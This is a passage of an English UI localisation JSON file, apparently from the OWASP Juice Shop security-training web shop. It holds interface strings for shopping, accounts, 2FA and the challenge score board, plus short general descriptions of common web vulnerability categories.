"MIN_CHARS_CRITERIA_MSG": "contains at least {{value}} characters",\n "BTN_LOGIN": "Log in",\n "BTN_GOOGLE_LOGIN": "Log in with Google",\n "REMEMBER_ME": "Remember me",\n "NO_CUSTOMER": "Not yet a customer?",\n "ALREADY_A_CUSTOMER": "Already a customer?",\n "TITLE_REGISTRATION": "User Registration",\n "INVALID_EMAIL": "Email address is not valid.",\n "SECURITY_ANSWER": "Answer",\n "MANDATORY_PASSWORD_REPEAT": "Please repeat your password.",\n "INVALID_PASSWORD_LENGTH": "Password must be {{length}} characters long.",\n "LABEL_PASSWORD_REPEAT": "Repeat Password",\n "PASSWORDS_NOT_MATCHING": "Passwords do not match",\n "BTN_REGISTER": "Register",\n "CONFIRM_REGISTER": "Registration completed successfully. You can now log in.",\n "TITLE_LOGOUT": "Logout",\n "CONFIRM_LOGGED_OUT": "You have been logged out.",\n "TITLE_CONTACT": "Contact",\n "MANDATORY_COMMENT": "Please provide a comment.",\n "INVALID_COMMENT_LENGTH": "Comment length must be {{length}} characters.",\n "MAX_TEXTAREA_LENGTH": "Max. {{length}} characters",\n "MANDATORY_RATING": "Please provide a rating.",\n "MANDATORY_CAPTCHA": "Please enter the result of the CAPTCHA.",\n "INVALID_CAPTCHA": "Invalid CAPTCHA code",\n "LABEL_AUTHOR": "Author",\n "LABEL_COMMENT": "Comment",\n "LABEL_RATING": "Rating",\n "LABEL_WHAT_IS": "What is",\n "BTN_SUBMIT": "Submit",\n "TITLE_ABOUT": "About Us",\n "SECTION_CORPORATE_HISTORY": "Corporate History & Policy",\n "SECTION_CUSTOMER_FEEDBACK": "Customer Feedback",\n "SECTION_SUPPORT_CHAT": "Support Chat",\n "LABEL_POWERED_BY_CHATBOT": "powered by {{chatbot}}",\n "ASK_ME_ANYTHING_PLACEHOLDER": "Ask me anything in English",\n "SECTION_SOCIAL_MEDIA": "Follow us on Social Media",\n "LINK_TERMS_OF_USE": "Check out our boring terms of use if you are interested in such lame stuff.",\n "TITLE_ADMINISTRATION": "Administration",\n "SECTION_USER": "Registered Users",\n "LABEL_USER": "User",\n "LABEL_CREATED_AT": "Created at",\n "LABEL_UPDATED_AT": "Updated at",\n "BTN_CLOSE": "Close",\n "TITLE_SEARCH_RESULTS": "Search Results",\n "TITLE_ALL_PRODUCTS": "All Products",\n "BASKET_ADD_SAME_PRODUCT": "Added another {{product}} to basket.",\n "BASKET_ADD_PRODUCT": "Placed {{product}} into basket.",\n "LABEL_PRODUCT": "Product",\n "LABEL_PRODUCT_ORDERED": "Ordered products",\n "LABEL_EXPECTED_DELIVERY": "Expected Delivery",\n "LABEL_DAYS": "Days",\n "LABEL_NAME": "Name",\n "LABEL_DESCRIPTION": "Description",\n "LABEL_PRICE": "Price",\n "LABEL_BONUS": "Bonus",\n "LABEL_IMAGE": "Image",\n "TITLE_BASKET": "Your Basket",\n "LABEL_QUANTITY": "Quantity",\n "LABEL_TOTAL_PRICE": "Total Price",\n "CHECKOUT_FOR_BONUS_POINTS": "You will gain {{bonus}} Bonus Points from this order!",\n "BTN_CHECKOUT": "Checkout",\n "BTN_CREDIT_CARD": "Credit Card",\n "INVALID_COUPON_LENGTH": "Coupon code must be {{length}} characters long.",\n "INVALID_COUPON": "Invalid coupon.",\n "LABEL_COUPON": "Coupon",\n "FOLLOW_FOR_MONTHLY_COUPONS": "Need a coupon code? Follow us on <a href=\'{{twitter}}\' target=\'_blank\'>Twitter</a> or <a href=\'{{facebook}}\' target=\'_blank\'>Facebook</a> for monthly coupons and other spam!",\n "BTN_REDEEM": "Redeem",\n "THANKS_FOR_SUPPORT": "Thank you for supporting {{juiceshop}}!",\n "THANKS_FOR_SUPPORT_CUSTOMIZED": "Thank you for supporting the open source project behind {{appname}}!",\n "LABEL_PAYMENT": "Payment",\n "LABEL_DONATIONS": "Donations",\n "LABEL_MERCHANDISE": "Merchandise",\n "OFFICIAL_MERCHANDISE_STORES": "Official stores for {{juiceshop}} apparel, mugs and stickers!",\n "OFFICIAL_MERCHANDISE_STORES_CUSTOMIZED": "Official stores for apparel, mugs and stickers of the open source project behind {{appname}}!",\n "DISCOUNT_APPLIED": "Your discount of {{discount}}% will be applied during checkout.",\n "TITLE_CHANGE_PASSWORD": "Change Password",\n "MANDATORY_CURRENT_PASSWORD": "Please provide your current password.",\n "MANDATORY_NEW_PASSWORD": "Please provide your new password.",\n "LABEL_CURRENT_PASSWORD": "Current Password",\n "LABEL_NEW_PASSWORD": "New Password",\n "LABEL_REPEAT_NEW_PASSWORD": "Repeat New Password",\n "BTN_CHANGE": "Change",\n "LABEL_CAPTCHA": "CAPTCHA",\n "ENTER_CAPTCHA": "Enter CAPTCHA",\n "TITLE_COMPLAIN": "File Complaint",\n "MANDATORY_MESSAGE": "Please provide a text.",\n "INVALID_MESSAGE_LENGTH": "Text length must be {{length}} characters.",\n "INVALID_FILE_SIZE": "File too large. Maximum {{size}} allowed.",\n "INVALID_FILE_TYPE": "Forbidden file type. Only {{type}} allowed.",\n "LABEL_CUSTOMER": "Customer",\n "LABEL_MESSAGE": "Message",\n "LABEL_INVOICE": "Invoice",\n "TITLE_SCORE_BOARD": "Score Board",\n "LABEL_DIFFICULTY": "Difficulty",\n "LABEL_CATEGORY": "Category",\n "LABEL_TAGS": "Tags",\n "LABEL_CHALLENGES": "Challenges",\n "LABEL_STATUS": "Status",\n "STATUS_UNSOLVED": "unsolved",\n "STATUS_SOLVED": "solved",\n "STATUS_PARTIALLY_SOLVED": "partially solved",\n "STATUS_UNAVAILABLE": "unavailable",\n "STATUS_ALL": "all",\n "CALL_FOR_CONTRIBUTIONS": "Got an idea for a new challenge? Found a vulnerability that is not tracked here? Let us know via <a href=\'http://gitter.im/bkimminich/juice-shop\'><i class=\'fab fa-gitter\'></i>Gitter.im</a> community chat or by opening a <a href=\'https://github.com/juice-shop/juice-shop/issues\'><i class=\'fab fa-github\'></i>GitHub</a> issue!",\n "CALL_FOR_FEEDBACK": "Please help us to make {{appname}} even better for you by answering our <a href=\'{{questionnaire}}\'><i class=\'fas fa-poll-h\'></i>user questionaire</a>!",\n "CHALLENGE_SOLVED": "You successfully solved a challenge: {{challenge}}",\n "INVALID_CONTINUE_CODE": "Invalid continue code.",\n "CONFIRM_LOGGED_IN_VIA_OAUTH2": "You have been logged in via OAuth 2.0 provider.",\n "HOME_LINK_MESSAGE": "If you are not automatically redirected, please click here: {{home}}",\n "TITLE_BITCOIN_ADDRESS": "Bitcoin Address",\n "TITLE_DASH_ADDRESS": "Dash Address",\n "TITLE_ETHER_ADDRESS": "Ether Address",\n "NOTIFICATION_RESEND_INSTRUCTIONS": "Click to repeat the notification containing the solution-code for this challenge.",\n "COPY_TO_CLIPBOARD": "Copy to clipboard",\n "COPY_SUCCESS": "Copied!",\n "NAV_RECYCLE": "Recycle",\n "TITLE_RECYCLE": "Request Recycling Box",\n "LABEL_REQUESTOR": "Requestor",\n "LABEL_RECYCLE_QUANTITY": "Quantity",\n "LABEL_DELIVERY_ADDRESS": "Delivery Address",\n "LABEL_PICKUP_ADDRESS": "Pickup Address",\n "INVALID_ADDRESS_LENGTH": "Address length must be {{length}} characters.",\n "INVALID_QUANTITY": "Quantity must be {{range}} liters.",\n "MANDATORY_ADDRESS": "Please provide an address.",\n "MANDATORY_QUANTITY": "Please provide a quantity.",\n "IN_LITERS_PLACEHOLDER": "...in liters",\n "REQUEST_PICKUP": "Please pickup at above address instead of sending a recycle box.",\n "LABEL_PICKUP_DATE": "Pickup Date",\n "SECTION_RECYCLING": "Recycling Requests",\n "LABEL_ADDRESS": "Address",\n "SECTION_PRESS_JUICE_RESPONSIBLY": "You hug trees. We save money. Win-win!",\n "LABEL_SECURITY_QUESTION": "Security Question",\n "CANNOT_BE_CHANGED_LATER": "This cannot be changed later!",\n "MANDATORY_SECURITY_QUESTION": "Please select a security question.",\n "MANDATORY_SECURITY_ANSWER": "Please provide an answer to your security question.",\n "FORGOT_PASSWORD": "Forgot your password?",\n "TITLE_FORGOT_PASSWORD": "Forgot Password",\n "NOTIFICATION_SERVER_STARTED": "The server has been restarted",\n "AUTO_RESTORED_PROGRESS": "Your previous hacking progress has been restored automatically.",\n "AUTO_RESTORE_PROGRESS_FAILED": "Restoring your previous hacking progress failed: {{error}}",\n "RESET_HACKING_PROGRESS": "Delete cookie to clear hacking progress",\n "RESTART_REQUIRED": "You now have to manually restart the application to start over!",\n "LABEL_EDIT_REVIEW": "Edit Review",\n "LABEL_REVIEW": "Review",\n "LABEL_REVIEWS": "Reviews",\n "LABEL_ADD_REVIEW_FOR_PRODUCT": "Add a review for this product",\n "LABEL_NO_REVIEWS": "No Reviews",\n "TITLE_TOKENSALE": "Token Sale",\n "SECTION_ICO": "Initial Coin Offering for <strong><i class=\'fab fa-bitcoin\'></i> {{juicycoin}}</strong>",\n "ICO_FAQ": "FAQ about our ICO",\n "SECTION_WHITEPAPER": "Whitepaper",\n "WHITEPAPER_REFERENCES": "Instead of reinventing the square coin, we just refer to existing brilliant whitepapers!",\n "SECTION_SALES_PITCH": "Convincing ICO Sales Pitch",\n "GIVE_US_ALL_YOUR_MONEY": "Give us all your money.",\n "ICO_FAQ_QUESTION": "Can I really get rich with <strong><i class=\'fab fa-bitcoin\'></i> {{juicycoin}}</strong>?",\n "ICO_FAQ_ANSWER": "Of course you can! We would never lie to you!",\n "TITLE_TRACK_ORDERS": "Track Orders",\n "LABEL_ORDER_ID": "Order ID",\n "BTN_TRACK": "Track",\n "LAST_LOGIN_IP": "Last Login IP",\n "BTN_EDIT": "Edit",\n "INVALID_DATE": "Please provide a valid date.",\n "SECURITY_ANSWER_PLACEHOLDER": "Answer to your security question",\n "MANDATORY_ORDER_ID": "Please provide an Order ID.",\n "BTN_SHOW_SOLVED": "Show solved",\n "TITLE_TWO_FACTOR_AUTH_ENTER": "Enter the 6 digit token from your 2FA app",\n "LABEL_TWO_FACTOR_AUTH_TOKEN": "2FA Token",\n "CONFIRM_2FA_SETUP": "Setup of Two-Factor Authentication successfully completed.",\n "CONFIRM_2FA_DISABLE": "Two-Factor Authentication has been removed.",\n "INVALID_TWO_FACTOR_AUTH_TOKEN": "The token appears to be invalid.",\n "UNAUTHORIZED_PAGE_ACCESS_ERROR": "You are not allowed to access this page!",\n "TITLE_PRIVACY_POLICY": "Privacy Policy",\n "TITLE_TWO_FACTOR_AUTHENTICATION": "Two Factor Authentication",\n "TITLE_REQUEST_DATA_EXPORT": "Request Data Export",\n "PRIVACY_AND_SECURITY": "Privacy & Security",\n "MENU": "Menu",\n "LABEL_OR": "or",\n "COMPANY": "Company",\n "ADD_BASKET": "Add to Basket",\n "BTN_SHOW_ALL": "Show all",\n "BTN_SHOW_UNAVAILABLE": "Show unavailable",\n "INFO_DISABLED_CHALLENGES": "{{num}} challenges are unavailable on {{env}} due to <a href=\'https://pwning.owasp-juice.shop/companion-guide/latest/part1/challenges.html#_potentially_dangerous_challenges\'>security concerns</a> or technical incompatibility!",\n "SHOW_DISABLED_CHALLENGES": "Show them anyways",\n "HIDE_DISABLED_CHALLENGES": "Hide disabled challenges",\n "BTN_HIDE_ALL": "Hide all",\n "TYPE_THESE_LETTERS": "Type these {{length}} letters",\n "BTN_REQUEST": "Request",\n "EXPORT_LABEL": "Export Format",\n "ACCOUNT": "Account",\n "TITLE_TWO_FACTOR_AUTH_CONFIG": "2FA Configuration",\n "LABEL_CONFIRM_CURRENT_PASSWORD": "Confirm your current password",\n "LABEL_INITIAL_2FA_TOKEN": "Initial token from your authenticator",\n "INITIAL_CODE": "Initial Token",\n "INITIAL_TOKEN_TOOLTIP": "The token to be entered from the authenticator must have 6 digits.",\n "2FA_ENTER_CODE_PLACEHOLDER": "Please enter your 2FA token",\n "INITIAL_CODE_PLACEHOLDER": "Please enter your initial token",\n "2FA_AUTH_SETUP_INSTRUCTIONS": "Secure your account with an additional factor. Scan the QR code into an authenticator app supporting TOTP (e.g. Google Authenticator) to get started.",\n "2FA_SETUP_ERROR": "Failed to change 2FA setup. Check if you entered your password (and token) correctly.",\n "2FA_SUCCESSFUL_SETUP": "You have enabled 2FA for your account. Thank you for taking the time to keep your juices safe!",\n "REMOVE_TWO_FACTOR_AUTH": "Remove 2FA from your account",\n "BTN_REMOVE": "Remove",\n "MANDATORY_REVIEW": "Please provide a review text.",\n "WRITE_REVIEW": "Write a review",\n "WRITE_REVIEW_PLACEHOLDER": "What did you like or dislike?",\n "EMPTY_REVIEW_LIST": "There is no review for this product yet.",\n "EMPTY_SEARCH_RESULT": "Try adjusting your search to find what you\'re looking for.",\n "NO_SEARCH_RESULT": "No results found",\n "DATA_SUBJECT_TITLE": "Request Data Erasure",\n "GDPR_HEADING": "Data Erasure Request (Art. 17 GDPR)",\n "GDPR_MESSAGE": "We take data security, customer privacy, and legal compliance very serious. In accordance with GDPR we allow you to request complete erasure of your account and any associated data.",\n "DELETE_DATA_LABEL": "Delete User Data",\n "ADD_NEW_ADDRESS": "Add New Address",\n "LABEL_COUNTRY": "Country",\n "LABEL_MOBILE_NUMBER": "Mobile Number",\n "LABEL_ZIP_CODE": "ZIP Code",\n "LABEL_CITY": "City",\n "LABEL_STATE": "State",\n "STATE_PLACEHOLDER": "Please provide a state.",\n "LABEL_GO_BACK": "Go Back",\n "LABEL_BACK": "Back",\n "TITLE_SELECT_ADDRESS": "Select an address",\n "USE_THIS_ADDRESS": "Use this address",\n "BTN_DELETE": "Delete",\n "MANDATORY_COUNTRY": "Please provide a country.",\n "MANDATORY_NAME": "Please provide a name.",\n "MANDATORY_NUMBER": "Please provide a mobile number.",\n "MANDATORY_ZIP": "Please provide a ZIP code.",\n "MANDATORY_CITY": "Please provide a city.",\n "INVALID_MOBILE_NUMBER": "Mobile number must match {{range}} format.",\n "UNAUTHORIZED_ACCESS_ERROR": "Please login to view this page.",\n "SEARCH_PROCESSING": "Searching for products",\n "STOCK": "Stock",\n "UNITS": "units",\n "ACCOUNTING": "Accounting",\n "CONFIRM_ERASURE_REQUEST": "Sorry to see you leave! Your erasure request will be processed shortly.",\n "INFO_HACKING_INSTRUCTOR": "Start an interactive hacking tutorial for this challenge.",\n "SCORE_BOARD_HACKING_INSTRUCTOR": "Launch a tutorial to get you started hacking the Juice Shop.",\n "BTN_GETTING_STARTED": "Help getting started",\n "BTN_DISMISS": "Dismiss",\n "SIDENAV_HINT": "Open side menu",\n "LANGUAGE_SEL_HINT": "Choose language",\n "PLACE_ORDER_AND_PAY": "Place your order and pay",\n "ORDER_SUMMARY": "Order Summary",\n "ITEMS": "Items",\n "DELIVERY": "Delivery",\n "PROMOTION": "Promotion",\n "MY_SAVED_ADRESSES": "My saved addresses",\n "BTN_HIDE": "Hide",\n "YOUR_SAVED_CARDS": "Your saved cards",\n "LABEL_CARD_NUMBER": "Card Number",\n "LABEL_EXPIRES_ON": "Expires On",\n "ADD_NEW_CARD": "Add new card",\n "ADD_NEW_CARD_DESCRIPTION": "Add a credit or debit card",\n "ADD_A_COUPON": "Add a coupon",\n "OTHER_PAYMENT_OPTIONS": "Other payment options",\n "VOUCHERS_AND_PROMOTIONAL_CODE": "Add a coupon code to receive discounts",\n "LABEL_EXPIRY_MONTH": "Expiry Month",\n "LABEL_EXPIRY_YEAR": "Expiry Year",\n "MANDATORY_CARD_NUMBER": "Please enter your card number.",\n "MANDATORY_EXPIRY_MONTH": "Please enter an expiry month.",\n "MANDATORY_EXPIRY_YEAR": "Please enter an expiry year.",\n "VALID_CARD_NUMBER": "Please enter a valid sixteen digit card number.",\n "LABEL_CONTINUE": "Continue",\n "REVIEW_ALERT": "You can review this order before it is finalized.",\n "MY_PAYMENT_OPTIONS": "My Payment Options",\n "BTN_SAVE": "Save",\n "LABEL_RESULT": "Result",\n "IP_ADDRESS": "IP Address",\n "WRITE_MESSAGE_PLACEHOLDER": "What would you like to tell us?",\n "SHOW_PWD_TOOLTIP": "Show password",\n "HIDE_PWD_TOOLTIP": "Hide password",\n "DATA_EXPORT_HINT": "(Your data export will open in a new Browser window.)",\n "LABEL_SOLD_OUT": "Sold Out",\n "LABEL_ONLY_QUANTITY_LEFT": "Only {{quantity}} left",\n "THANKS_FOR_PURCHASE": "Thank you for your purchase!",\n "PURCHASE_COMMENT_PREFIX": "Your order has been placed and is being processed. You can check for status updates on our",\n "PURCHASE_COMMENT_SUFFIX": "page.",\n "BONUS_POINTS_COUNT": "You have gained {{bonus}} Bonus Points from this order!",\n "ESTIMATED_TIME_OF_DELIVERY": "Your order will be delivered in {{numberdays}} days.",\n "PRINT_ORDER_CONFIRMATION": "Print Order Confirmation",\n "DIGITAL_WALLET": "Digital Wallet",\n "LABEL_ADD_MONEY": "Add Money",\n "LABEL_WALLET_BALANCE": "Wallet Balance",\n "MANDATORY_AMOUNT": "Please enter an amount",\n "LABEL_AMOUNT": "Amount",\n "AMOUNT_LIMIT": "You can add a minimum of 10\xc2\xa4 and only up to 1000\xc2\xa4.",\n "LABEL_CHOOSE_A_DELIVERY_SPEED": "Choose a delivery speed",\n "CARD_ENDING_IN": "Card ending in",\n "CARD_HOLDER": "Card Holder",\n "PAYMENT_METHOD": "Payment Method",\n "PHONE_NUMBER": "Phone Number",\n "LABEL_ORDER_HISTORY": "Order History",\n "LABEL_IN_TRANSIT": "In Transit",\n "LABEL_DELIVERED": "Delivered",\n "LABEL_TRACK_ORDER": "Track Order",\n "NO_ORDERS_PLACED": "You have not placed any orders yet.",\n "LABEL_MARK_AS_DELIVERED": "Mark as delivered",\n "LABEL_MARK_AS_TRANSIT": "Mark as in transit",\n "LABEL_PHOTO_WALL": "Photo Wall",\n "LABEL_SHARE_A_MEMORY": "Share a memory",\n "MANDATORY_CAPTION": "Please enter a caption",\n "LABEL_CAPTION": "Caption",\n "LABEL_PICK_IMAGE": "Pick image",\n "IMAGE_UPLOAD_SUCCESS": "Your image was successfully uploaded.",\n "EMPTY_MEMORY_LIST": "No memories have been shared yet.",\n "LABEL_DELUXE_MEMBERSHIP": "Deluxe Membership",\n "DESCRIPTION_DELUXE_MEMBERSHIP": "Enjoy amazing benefits as a deluxe customer of {{appname}}. Check out what is included with your membership.",\n "LABEL_BECOME_MEMBER": "Become a member",\n "LABEL_DEALS_OFFERS": "Deals and Offers",\n "DESCRIPTION_DEALS_OFFERS": "As a deluxe member, you get access to exclusive deals and irresistible offers.",\n "LABEL_FREE_FAST_DELIVERY": "Free Fast Delivery",\n "DESCRIPTION_FREE_FAST_DELIVERY": "Get unlimited free Fast Delivery for all products in the shop.",\n "LABEL_UNLIMITED_PURCHASE": "Unlimited Purchase",\n "DESCRIPTION_UNLIMITED_PURCHASE": "Enjoy unrestricted purchase of your favourite products.",\n "LABEL_PAY_USING_WALLET": "Pay using wallet",\n "LABEL_PAY": "Pay",\n "LABEL_ADD": "Add",\n "REVIEW_WALLET": "You will be redirected back to your wallet.",\n "ORDERS_AND_PAYMENT": "Orders & Payment",\n "ADDRESS_REMOVED": "Your address has been removed.",\n "ADDRESS_UPDATED": "The address at {{city}} has been successfully updated.",\n "ADDRESS_ADDED": "The address at {{city}} has been successfully added to your addresses.",\n "PASSWORD_SUCCESSFULLY_CHANGED": "Your password was successfully changed.",\n "CUSTOMER_SUPPORT_COMPLAINT_REPLY": "Customer support will get in touch with you soon! Your complaint reference is #{{ref}}",\n "FEEDBACK_FIVE_STAR_THANK_YOU": "Thank you so much for your amazing 5-star feedback!",\n "FEEDBACK_THANK_YOU": "Thank you for your feedback.",\n "CREDIT_CARD_SAVED": "Your card ending with {{cardnumber}} has been saved for your convenience.",\n "CONFIRM_REVIEW_SAVED": "You review has been saved.",\n "CONFIRM_CHANGES_SAVED": "Your changes have been saved.",\n "CONFIRM_RECYCLING_BOX": "Thank you for using our eco-friendly recycling self-service. We will send you a pomace recycling box asap.",\n "CONFIRM_RECYCLING_PICKUP": "Thank you for using our convenient recycling service. We will pick up your pomace on {{pickupdate}}.",\n "CHALLENGE_UNAVAILABLE": "This challenge is unavailable in a {{env}} environment!",\n "CLICK_FOR_MORE_HINTS": "Click for more hints.",\n "CLICK_TO_OPEN_HINTS": "Click to open hints.",\n "BONUS_POINTS_EARNED": "Bonus Points Earned: {{bonus}}",\n "BONUS_FOR_FUTURE_PURCHASES": "The bonus points from this order will be <em>added 1:1 to your wallet \xc2\xa4-fund</em> for future purchases!",\n "ENTER_COUPON_CODE": "Please enter your coupon code",\n "COUPON_CODE_HINT": "Coupon code must be 10 characters long.",\n "CHARGED_WALLET": "Wallet successfully charged.",\n "BTN_SHOW_ONLY_TUTORIALS": "Show tutorials only",\n "INFO_FULL_CHALLENGE_MODE": "Complete the remaining tutorial challenges to unveil all {{num}} challenges and unlock the advanced Score Board filters!",\n "INFO_NEXT_TUTORIAL_TIER": "Complete the {{tier}} tutorial challenges to unveil the next difficulty tier!",\n "SHOW_COMMENT": "Show Comment",\n "INFO_VULNERABILITY_MITIGATION_LINK": "Click to learn how to avoid or mitigate similar vulnerabilities!",\n "BACKUP_HEADLINE": "File Based Backups",\n "BTN_SAVE_BACKUP": "Save Backup",\n "SAVE_BACKUP_TOOLTIP": "Save challenge progress and application settings to file.",\n "BTN_RESTORE_BACKUP": "Restore Backup",\n "RESTORE_BACKUP_TOOLTIP": "Restore challenge progress and application settings from file.",\n "TAG_DANGER_ZONE": "Danger Zone",\n "TAG_DANGER_ZONE_DESCRIPTION": "Marks potentially dangerous challenges which are disabled on Docker/Heroku/Gitpod by default due to RCE or other risks.",\n "TAG_GOOD_FOR_DEMOS": "Good for Demos",\n "TAG_GOOD_FOR_DEMOS_DESCRIPTION": "Highlights challenges which are suitable for live demos or awareness trainings.",\n "TAG_PREREQUISITE": "Prerequisite",\n "TAG_PREREQUISITE_DESCRIPTION": "Marks challenges which need to be solved before one or more other challenges can be (realistically) solved.",\n "TAG_OSINT": "OSINT",\n "TAG_OSINT_DESCRIPTION": "Marks challenges which require some Internet research or \\"social stalking\\" activity outside the application.",\n "TAG_CONTRAPTION": "Contraption",\n "TAG_CONTRAPTION_DESCRIPTION": "Indicates that a challenge is not exactly part of a realistic scenario but might be a bit forced or crafted.",\n "TAG_SHENANIGANS": "Shenanigans",\n "TAG_SHENANIGANS_DESCRIPTION": "Marks challenges which are not considered serious and/or realistic but exist more for entertainment.",\n "TAG_TUTORIAL": "Tutorial",\n "TAG_TUTORIAL_DESCRIPTION": "Marks challenges for which a Hacking Instructor script exists to assist newcomers.",\n "TAG_BRUTE_FORCE": "Brute Force",\n "TAG_BRUTE_FORCE_DESCRIPTION": "Marks challenges where automation of some security tool or custom script is an option or even prerequisite.",\n "TAG_GOOD_PRACTICE": "Good Practice",\n "TAG_GOOD_PRACTICE_DESCRIPTION": "Highlights challenges which are less about vulnerabilities but promoting good (security) practices.",\n "TAG_CODE_ANALYSIS": "Code Analysis",\n "TAG_CODE_ANALYSIS_DESCRIPTION": "Marks challenges where it can be helpful to rummage through some source code of the application or a third party.",\n "TAG_WEB3": "Web3",\n "TAG_WEB3_DESCRIPTION": "Marks challenges which incorporate Web3 concepts or technology such as Blockchain, Crypto Currency, Smart Contracts, or NFT.",\n "TAG_INTERNET_TRAFFIC": "Internet Traffic",\n "TAG_INTERNET_TRAFFIC_DESCRIPTION": "Marks challenges strictly depending on the server being able to connect with the Internet via e.g. WebSocket or JSON-RPC.",\n "CATEGORY_BROKEN_ACCESS_CONTROL": "Broken Access Control",\n "CATEGORY_BROKEN_ANTI_AUTOMATION": "Broken Anti Automation",\n "CATEGORY_BROKEN_AUTHENTICATION": "Broken Authentication",\n "CATEGORY_CRYPTOGRAPHIC_ISSUES": "Cryptographic Issues",\n "CATEGORY_IMPROPER_INPUT_VALIDATION": "Improper Input Validation",\n "CATEGORY_INJECTION": "Injection",\n "CATEGORY_INSECURE_DESERIALIZATION": "Insecure Deserialization",\n "CATEGORY_MISCELLANEOUS": "Miscellaneous",\n "CATEGORY_SECURITY_MISCONFIGURATION": "Security Misconfiguration",\n "CATEGORY_SECURITY_THROUGH_OBSCURITY": "Security through Obscurity",\n "CATEGORY_SENSITIVE_DATA_EXPOSURE": "Sensitive Data Exposure",\n "CATEGORY_UNVALIDATED_REDIRECTS": "Unvalidated Redirects",\n "CATEGORY_VULNERABLE_COMPONENTS": "Vulnerable Components",\n "CATEGORY_XSS": "XSS",\n "CATEGORY_XXE": "XXE",\n "CATEGORY_BROKEN_ACCESS_CONTROL_DESCRIPTION": "Restrictions on what authenticated users are allowed to do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users\xe2\x80\x99 accounts, view sensitive files, modify other users\xe2\x80\x99 data, change access rights, etc.",\n "CATEGORY_BROKEN_ANTI_AUTOMATION_DESCRIPTION": "Quite often, APIs do not impose any restrictions on the size or number of resources that can be requested by the client/user. Not only can this impact the API server performance, leading to Denial of Service (DoS), but also leaves the door open to authentication flaws such as brute force.",\n "CATEGORY_BROKEN_AUTHENTICATION_DESCRIPTION": "Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users\xe2\x80\x99 identities temporarily or permanently.",\n "CATEGORY_CRYPTOGRAPHIC_ISSUES_DESCRIPTION": "A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources. The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.",\n "CATEGORY_IMPROPER_INPUT_VALIDATION_DESCRIPTION": "When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.",\n "CATEGORY_INJECTION_DESCRIPTION": "Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker\xe2\x80\x99s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.",\n "CATEGORY_INSECURE_DESERIALIZATION_DESCRIPTION": "Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.",\n "CATEGORY_MISCELLANEOUS_DESCRIPTION": "Everything that does not match any of the other vulnerability categories or would not even be considered a security issue in a real world scenario.",\n "CATEGORY_SECURITY_MISCONFIGURATION_DESCRIPTION": "Security misconfiguration is the most commonly seen issue. This is commonly a result of insecure default configurations, incomplete or ad hoc configurations, open cloud storage, misconfigured HTTP headers, and verbose error messages containing sensitive information. Not only must all operating systems, frameworks, libraries, and applications be securely configured, but they must be patched/upgraded in a timely fashion.",\n "CATEGORY_SECURITY_THROUGH_OBSCURITY_DESCRIPTION": "The software uses a protection mechanism whose strength depends heavily on its obscurity, such that knowledge of its algorithms or key data is sufficient to defeat the mechanism.",\n "CATEGORY_SENSITIVE_DATA_EXPOSURE_DESCRIPTION": "Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.",\n "CATEGORY_UNVALIDATED_REDIRECTS_DESCRIPTION": "Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.",\n "CATEGORY_VULNERABLE_COMPONENTS_DESCRIPTION": "Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.",\n "CATEGORY_XSS_DESCRIPTION": "Cross-Site Scripting (XSS) flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user-supplied data using a browser API that can create HTML or JavaScript. XSS allows attackers to execute scripts in the victim\xe2\x80\x99s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.",\n "CATEGORY_XXE_DESCRIPTION": "Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.",\n "INSUFFICIENT_WALLET_BALANCE": "Insufficient wallet balance.",\n "LAUNCH_CODING_CHALLENGE": "Launch associated coding challenge.",\n "LOADING_CODE_SNIPPET": "Loading code snippet...",\n "SOLVE_HACKING_CHALLENGE": "Solve the hacking challenge to unlock the associated coding challenge.",\n "LABEL_CORRECT_FIX": "Correct Fix",\n "TITLE_CODING_CHALLENGE": "Coding Challenge",\n "TAB_FIND_IT": "Find It",\n "TAB_FIX_IT": "Fix It",\n "TITLE_CODING_SCORE": "Coding Score",\n "TITLE_CODING_CHALLENGES": "Coding Challenges",\n "TITLE_HACKING_CHALLENGES": "Hacking Challenges",\n "TITLE_CHALLENGES_SOLVED": "Challenges Solved",\n "LABEL_FEEDBACK": "Feedback",\n "LABEL_RESET_ALL_FILTERS": "Reset All Filters",\n "NO_CHALLENGES_FOUND": "No challenges found matching your filters!",\n "SCORE_BOARD_LEGACY_NOTICE_NO_CONTACT": "This is the new Score Board! It might still contain some bugs.",\n "SCORE_BOARD_LEGACY_NOTICE_WITH_CONTACT": "This is the new Score Board! If you notice any bugs or have any feedback, please let us know! Reach out via our <a href=\'https://owasp.org/www-project-juice-shop/\' target=\'_blank\' rel=\'noopener noreferrer\'>community channels</a>",\n "SCORE_BOARD_LEGACY_BACK": "Switch to the legacy Score Board",\n "SCORE_BOARD_LEGACY_CATCH_LINE": "This is the legacy Score Board! It will be removed with an upcoming major release.",\n "SCORE_BOARD_LEGACY_ACTION_BUTTON": "Switch to the new Score Board",\n "SCOREBOARD_ADDITIONAL_SETTINGS": "Additional Score Board Settings",\n 